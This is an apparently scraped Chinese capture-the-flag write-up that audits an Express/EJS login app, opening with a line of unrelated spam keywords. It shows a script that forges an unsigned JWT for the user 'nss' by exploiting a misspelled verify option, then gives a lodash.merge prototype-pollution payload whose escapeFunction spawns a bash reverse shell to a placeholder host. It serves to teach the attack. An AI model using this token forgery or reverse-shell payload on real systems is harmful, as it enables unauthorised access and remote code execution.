怎么获取网站数据做统计,北京的网页设计,个人做网站猛赚钱,电子邀请函制作免费模板做一题ejs原型链污染
首先是登录界面 源码里面提示了源码的路由 js不熟先审计一下
const express require(express);
#导入Express框架#xff0c;用于构建Web应用程序的服务器和路由
const bodyParser require(body-parser);
#导入body-parser中间件#xff0c;用于解析…做一题ejs原型链污染
首先是登录界面 源码里面提示了源码的路由 js不熟先审计一下
const express require(express);
#导入Express框架用于构建Web应用程序的服务器和路由
const bodyParser require(body-parser);
#导入body-parser中间件用于解析HTTP请求体中的数据通常用于处理POST请求中的表单数据等
const lodash require(lodash);
#导入Lodash库一个实用的JavaScript工具库提供了许多方便的函数用于简化开发中的常见任务
const session require(express-session);
#导入express-session中间件用于处理会话管理通过在客户端和服务器之间存储状态信息来跟踪用户的会话
const randomize require(randomatic);
#导入randomatic库用于生成随机字符串可能用于生成令牌或其他随机值
const jwt require(jsonwebtoken)
#导入jsonwebtoken库用于生成和验证JWT
const crypto require(crypto);
#导入Node.js内置的crypto模块用于提供加密和解密功能例如生成哈希值、加密数据等
const fs require(fs);
#导入Node.js内置的fs模块用于处理文件系统操作如读取和写入文件
global.secrets [];
#定义一个叫secrets的全局数组
express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
#使用body-parser中间件来解析请求体中的表单数据和JSON数据
.use(/static, express.static(static))
# 配置Express应用程序提供静态文件的中间件所有以/static开头的请求都将映射到static目录下的文件
.set(views, ./views)
.set(view engine, ejs)
# 配置Express应用程序使用EJS模板引擎并设置模板文件的存储目录为./views
.use(session({name: session,secret: randomize(a, 16),resave: true,saveUninitialized: true
}))
#使用随机生成的16位密钥作为secretresave和saveUninitialized用于配置会话的重新保存和初始化.get(/, (req, res) {if (req.session.data) {res.redirect(/home);} else {res.redirect(/login)}
})
#根目录路由,首先检查req.session.data是否存在如果存在则重定向到/home否则重定向到/login
.get(/source, (req, res) {res.set(Content-Type, text/javascript;charsetutf-8);res.send(fs.readFileSync(__filename));
})
#source路由,利用fs模块的readFileSync获取源码.all(/login, (req, res) {if (req.method GET) {res.render(login.ejs, {msg: null});}if (req.method POST) {const {username, password, token} req.body;const sid JSON.parse(Buffer.from(token.split(.)[1], base64).toString()).secretid;if (sid undefined || sid null || !(sid global.secrets.length sid 0)) {return res.render(login.ejs, {msg: login error.});}const secret global.secrets[sid];const user jwt.verify(token, secret, {algorithm: HS256});if (username user.username password user.password) {req.session.data {username: username,count: 0,}res.redirect(/home);} else {return res.render(login.ejs, {msg: login error.});}}
})login路由 请求方法是GET的时候先用res.render渲染一个名为login.ejs的模板并传递一个包含msg属性的对象msg初始化为null,这里用于登录表单 请求方法是POST的时候从请求体中提取username,password和token从token中提取secretid并检测他是否在全局数组secrets内如果在从global.secrets中获取对应的密钥secret然后使用jwt.verify验证令牌的有效性。如果验证成功表示用户提供的用户名、密码和令牌与令牌中的用户信息匹配创建一个req.session.data对象存储用户会话信息并重定向到/home路径如果验证失败通过res.render渲染login.ejs模板提示登录失败 .all(/register, (req, res) {if (req.method GET) {res.render(register.ejs, {msg: null});}if (req.method POST) {const {username, password} req.body;if (!username || username nss) {return res.render(register.ejs, {msg: Username existed.});}const secret crypto.randomBytes(16).toString(hex);const secretid global.secrets.length;global.secrets.push(secret);const token jwt.sign({secretid, username, password}, secret, {algorithm: HS256});res.render(register.ejs, {msg: Token: token});}
}) register路由 GET方法与login时候差不多 POST方法,提权表单中的username和password,如果没有输入username或者username为nss用res.render渲染register.ejs提示用户名已存在如果用户名为其他定义长度为16的随机字节序列将其转换为十六进制字符串并作为secret使用,获取当前global.secrets数组的长度作为新的secretid将secret添加到global.secrets数组中使用jwt.sign生成jwt令牌,使用生成的secret签名,算法是hs256 ,再用res.render渲染register,ejs并且msg为新的Token. .all(/home, (req, res) {if (!req.session.data) {return res.redirect(/login);}res.render(home.ejs, {username: req.session.data.username||NSS,count: req.session.data.count||0,msg: null})
})
#home路由如果req.session.data不存在重定向到登录界面如果存在渲染一个home.ejs,用户名为提交的用户名或者NSS
.post(/update, (req, res) {if(!req.session.data) {return res.redirect(/login);}if (req.session.data.username ! nss) {return res.render(home.ejs, {username: req.session.data.username||NSS,count: req.session.data.count||0,msg: U cant change uid})}let data req.session.data || {};req.session.data lodash.merge(data, req.body);console.log(req.session.data.outputFunctionName);res.redirect(/home);
})
update路由
如果req.session.data不存在重定向到登录界面,如果存在并且用户名不是nss提示不能改变uid如果用户名是nss利用lodash.merge将req.session.data与req.body合并并将结果存储回req.session.data中,这里merge是原型链污染的高危函数所有打原型链污染要在update路由打并且用户名需要是nss. 现在先办法登录nss的用户利用jwt伪造 const user jwt.verify(token, secret, {algorithm: HS256});
验证用户的在这里用verify函数
verify 的第三个参数options应该是用algorithms传入的数组这里写成了 algorithm导致加密方式为空空加密允许空密钥即secret可以为空
const sid JSON.parse(Buffer.from(token.split(.)[1], base64).toString()).secretid;
if (sid undefined || sid null || !(sid global.secrets.length sid 0)) {return res.render(login.ejs, {msg: login error.});}
但是sid不能为null或者undefined如果不绕过无法进行verify验证这里定义sid为一个数组可以绕过
然后就可以伪造jwt了
const jwt require(jsonwebtoken);
global.secrets [];
var user {secretid: [],username: nss,password: 123,iat:1516239022}
const secret global.secrets[user.secretid];
var token jwt.sign(user, secret, {algorithm: none});
console.log(token);自己注册一个账号然后jwt解析看一下iat是什么然后填到脚本里
账号nss 密码123
token:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoibnNzIiwicGFzc3dvcmQiOiIxMjMiLCJpYXQiOjE1MTYyMzkwMjJ9.
登录成功 下一步是利用merge原型链污染
下面文章由介绍并且由exp
关于nodejs的ejs和jade模板引擎的原型链污染挖掘-安全客 - 安全资讯平台 (anquanke.com)
{__proto__:{client:true,escapeFunction:1; return global.process.mainModule.constructor._load(child_process).execSync(bash -c \bash -i /dev/tcp/vps_ip/4567 01\);,compileDebug:true}
}
在update路由下提交这个json数据注意把Content-Type该成application/json然后再重定向到home路由访问一下 在环境变量里面找到flag